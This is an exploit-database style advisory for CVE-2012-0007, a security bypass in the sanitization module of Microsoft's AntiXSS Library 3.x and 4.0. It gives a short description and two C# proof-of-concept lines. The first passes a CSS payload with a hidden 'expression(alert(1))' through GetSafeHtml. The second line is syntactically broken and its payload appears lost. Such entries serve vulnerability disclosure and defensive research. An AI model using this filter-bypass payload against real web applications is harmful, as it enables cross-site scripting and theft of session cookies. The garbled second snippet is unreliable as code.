Microsoft AntiXSS 3/4.0 Library Sanitization Module - Security Bypass

Author: Adi Cohen
type: remote
platform: windows
port: 0
date_added: 2012-01-10
date_updated: 2015-03-27
verified: 1
codes: CVE-2012-0007;OSVDB-78208
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/51291/info

Microsoft Anti-Cross Site Scripting (AntiXSS) Library is prone to a security-bypass vulnerability that affects the sanitization module.

An attacker can exploit this vulnerability to bypass the filter and conduct cross-site scripting attacks. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.

Microsoft Anti-Cross Site Scripting Library 3.x and 4.0 are vulnerable.

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div>");

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>")